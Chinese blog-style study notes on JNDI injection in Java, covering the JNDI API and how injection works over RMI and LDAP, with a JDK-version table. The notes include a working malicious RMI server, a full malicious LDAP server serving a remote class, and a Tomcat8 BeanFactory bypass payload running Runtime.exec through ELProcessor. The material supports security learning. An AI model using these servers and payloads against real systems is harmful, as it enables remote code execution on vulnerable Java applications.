终于学到JNDI了,其实最开始的时候我是在学fastjson的,然后发现fastjson要用JNDI,所以又想去学JNDI,但是JNDI里又用了很多RMI的内容,所以只好花了几天把之前看了个开头的RMI重新看了一遍。
JNDI概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。
其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。
这些命名/目录服务提供者有
- RMI(JAVA远程方法调用)
- LDAP(轻量级目录访问协议)
- CORBA(公共对象请求代理体系结构)
- DNS(域名服务)
在JNDI注入的过程中我们常用的就是RMI和LDAP
(下面这个表是抄的,不太确定,感觉在JDK8的时候最起码应该是8u121吧
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI可用 | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
LDAP可用 | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
JNDI里的类
写一点jndi要用到的类的作用
InitialContext类
构造方法
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
代码:
InitialContext initialContext = new InitialContext();
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
代码:
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className
- 远程加载时所使用的类名
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
常用方法
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
代码:
package com.rmi.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
基本使用
以一个rmi服务为例子,你先得创建一个rmi服务,然后再创建JNDI的服务端和客户端,文件结构就是之前文章中的RMI基础上再加上JNDI服务端和客户端
JNDI服务端
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext=new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteobj",new IRemoteObjImpl());
}
}
JNDI客户端
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext=new InitialContext();
IRemoteObj lookup = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteobj");
System.out.println(lookup.sayHello());
}
}
然后启动RMI服务端和JNDI服务端,再启动JNDI客户端,就能得到调用hello方法的结果(感觉和RMI区别不是很大
这里跟一下lookup和rebind会发现其实调的就是RMI的时候的那个
所以这里打rmi的几个方法打JNDI应该也行(没试过,猜的,试了一下客户端恶意传参打服务端和绕JEP290的payload,确实能打
JNDI注入
JNDI注入有以下几个条件
1.使用lookup
2.参数可控
在基本使用的部分,我们使用JNDI结合RMI进行了测试,但是在一般的JNDI注入中,我们绑定的都是引用对象(JNDI Reference)
基于RMI
先看基于RMI的JNDI注入,这里服务端代码为
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
// LocateRegistry.createRegistry(1099);
LocateRegistry.createRegistry(1099);
InitialContext initialContext=new InitialContext();
//创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址。url最后的斜线一定要加,不然会访问不到对应的class文件
Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8888/");
initialContext.bind("rmi://127.0.0.1:1099/remoteobj",reference);
}
}
这里第一个evil就相当于这个恶意class类叫evil.class,第二个evil就相当于这个evil.class里的evil类
客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext=new InitialContext();
IRemoteObj lookup = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteobj");
System.out.println(lookup.sayHello());
}
}
这东西原理其实挺简单的,就我们可以控制客户端lookup里的值,所以就可以控制客户端去请求我们的恶意服务端,然后服务端就会给客户端返回一个Reference类型的值,接下来客户端就想去找这个东西,这里找的过程是先去看本地有没有,本地没有就会去我们给的那个地址上去请求
这里可以写一下流程
首先是绑定的时候,之前RMI提到过,想绑定,那这个必须实现Remote接口和继承UnicastRemoteObject
那我们怎么能绑定它呢?
首先想到的肯定是找个东西封装一下
我们这里选择ReferenceWrapper类
所以有一些博客就在恶意服务端里加了一句
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
但其实这是完全多余的行为
我们可以跟一下调用的bind方法,可以知道最后在RegistyContext里会进RMI自己的lookup,同时还对我们传进去的东西执行了个encodeObject的方法
跟进去可以看到,如果你是Reference类型的,就会自动给你加个ReferenceWrapper的封装,所以根本不需要我们手动添加
然后再看客户端获取的时候,同样调到RegistyContext中的lookup里
然后进行一个解封装操作
然后在这行调用NamingManager.getObjectInstance
,再其中又调用了getObjectFactoryFromReference,剩下的看注释就知道了,先找本地,再找远程
所以这里我把evil.class换个地方,然后本地开个服务
试了一下RMI的时候没试的操作
把恶意class文件放服务器上也行
另外就是在8u121之后,RMI服务默认不允许远程加载,所以想要继续用得加一行
至于为什么要加这一行,而不是加在RMI攻击服务端的时候的那几行,我也不知道,可能这也是JNDI和RMI的区别吧(,反正不加就报错告诉你要把这个值改成true
查了一下,在JDK 6u141、7u131、8u121
及以后的版本
官方把
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
这两个值设为了false,所以不能再从codebase中加载类了,所以最开始的表好像确实不对
基于LDAP
从上边那段我们知道,在8u121之后,由于trustURLCodebase的值默认为false,所以不能远程加载类了,除非被攻击的客户端还有System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
这行代码。但是,希望要握在自己手中(。所以RMI不行了之后我们还可以试试LDAP
其实主要是对trustURLCodebase这个值的判断放到RegistyContext里了,但是其实真正加载恶意类的是NamingManager里。所以用ldap就能绕过
LDAP介绍
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。
在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下
dn :一条记录的详细位置
dc :一条记录所属区域 (哪一颗树)
ou :一条记录所属组织 (哪一个分支)
cn/uid:一条记录的名字/ID (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。
先安装LDAP的依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
然后起一个恶意的LDAP的服务端
package com;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPIRMServer{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};//这个EXP就是恶意class类的名
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
别问为啥这么写,固定的(,就改一下恶意类存放的地址就行
客户端
package com;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("ldap://127.0.0.1:9999/a");//后边无所谓,只要有东西就行,应该是服务器脚本给自动做了处理
}
}
然后本地起个python服务执行就能弹出计算器了
同样跟一下执行流程
其实感觉没啥好跟的
首先就是一路lookup,到Obj这个类里
然后在decodeObject判断绑定的是个什么东西,这里我们是个引用类型的,所以就进decodeReference了
在decodeReference里就把引用里的东西解出来
解出来之后就在LdapCtx去加载这里面的东西
调用DirectoryManager.getObjectInstance
然后在这里面又调用了NamingManager#getObjectFactoryFromReference,去获取工厂地址。后面就和基于RMI的一模一样了
在getObjectFactoryFromReference里加载类,然后实例化
可以看到,这两种不同的方法,其实际目的都是为了调用NamingManager#getObjectFactoryFromReference,然后去远程加载恶意的字节码文件。
不过在6u211以后 、7u201以后 、8u191以后 和11.0.1以后的版本中,也修复了这个漏洞,这个在之后高版本绕过的部分再说。
基于DNS
这个实际上并不是作为攻击的手段,而是作为一种探测手段
之前我们说过,JNDI注入的前提是存在一个lookup方法,且其中的url可控
其攻击过程为
所以如果直接使用RMI或者LDAP来测试是否存在JNDI注入,会比较繁琐,且有可能暴露自己的服务端,有被反打的可能,所以这时候就可以先用dns来测试一下。
不过即使收到请求也不一定就是有JNDI注入,比如JDK版本、防火墙之类的也会限制漏洞利用
基于CORBA
本来以为这玩意没法用的,不过看见了这么一篇文章
https://thonsun.github.io/2020/12/02/jndi-zhu-ru-li-yong-fen-xi/#toc-heading-8
不过这个利用条件过于苛刻了,所以不复现了,当了解。
高版本绕过
在高版本的jdk中,把LDAP的路也堵上了
堵的方法就是在最后一步,加载类字节码之前判断trustURLCodebase,只有为true的时候才能进行远程的类加载
这也就代表着无依赖的JNDI注入彻底结束了。
因为在低版本中,我们不需要去依赖什么,就可以借助JNDI注入来RCE,但是高版本就需要依赖一些其他的包了,因为既然不让远程加载恶意字节码,那我加载点本地自带的然后把它实例化总可以吧。
而根据getObjectFactoryFromReference这里类加载的部分可以很容易知道,如果想进行实例化,那这个类必须是个ObjectFactory类型
ObjectFactory是个接口,所以我们的目标就是找个实现了这个接口的类
基于Tomcat8的绕过
tomcat8的org.apache.naming.factory.BeanFactory
就很适合作为我们加载的类。而且由于它在tomcat8的依赖里,那么攻击面和利用条件也是很可观的。
org.apache.naming.factory.BeanFactory
在 getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
bean
也就是前边说的实例化Reference所指向的任意Bean Class
valueArray
添加依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
bypass的代码
import com.sun.jndi.rmi.registry.ReferenceWrapper; // 导入 ReferenceWrapper 类,用于包装引用对象
import org.apache.naming.ResourceRef; // 导入 ResourceRef 类,用于创建资源引用对象
import javax.naming.StringRefAddr; // 导入 StringRefAddr 类,用于创建字符串引用地址对象
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry 类,用于定位 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry 类,用于操作 RMI 注册表
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099); // 创建 RMI 注册表对象并监听指定端口(1099)
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
// 创建 ResourceRef 对象,表示一个资源引用,参数依次为类名、类工厂位置、工厂位置、工厂对象实例化标志、工厂类名、工厂对象实例化位置
resourceRef.add(new StringRefAddr("forceString", "faster=eval")); // 添加字符串引用地址对象到 ResourceRef 对象中,参数为引用地址类型和引用地址值
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); // 添加字符串引用地址对象到 ResourceRef 对象中,参数为引用地址类型和引用地址值
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); // 使用 ResourceRef 对象创建 ReferenceWrapper 对象,用于包装引用对象
registry.bind("Tomcat8bypass", referenceWrapper); // 在 RMI 注册表中绑定 ReferenceWrapper 对象,参数为绑定的名称和要绑定的对象
System.out.println("Registry运行中......"); // 输出信息到控制台,表示 RMI 注册表运行中
}
}
其实就是按照BeanFactory的要求来构造的
然后被攻击的客户端就正常代码,不过要在tomcat8环境下
(开发0基础,不会配tomcat8环境,就先这样吧,等以后有时间了再弄一下
参考链接
https://goodapple.top/archives/696
https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/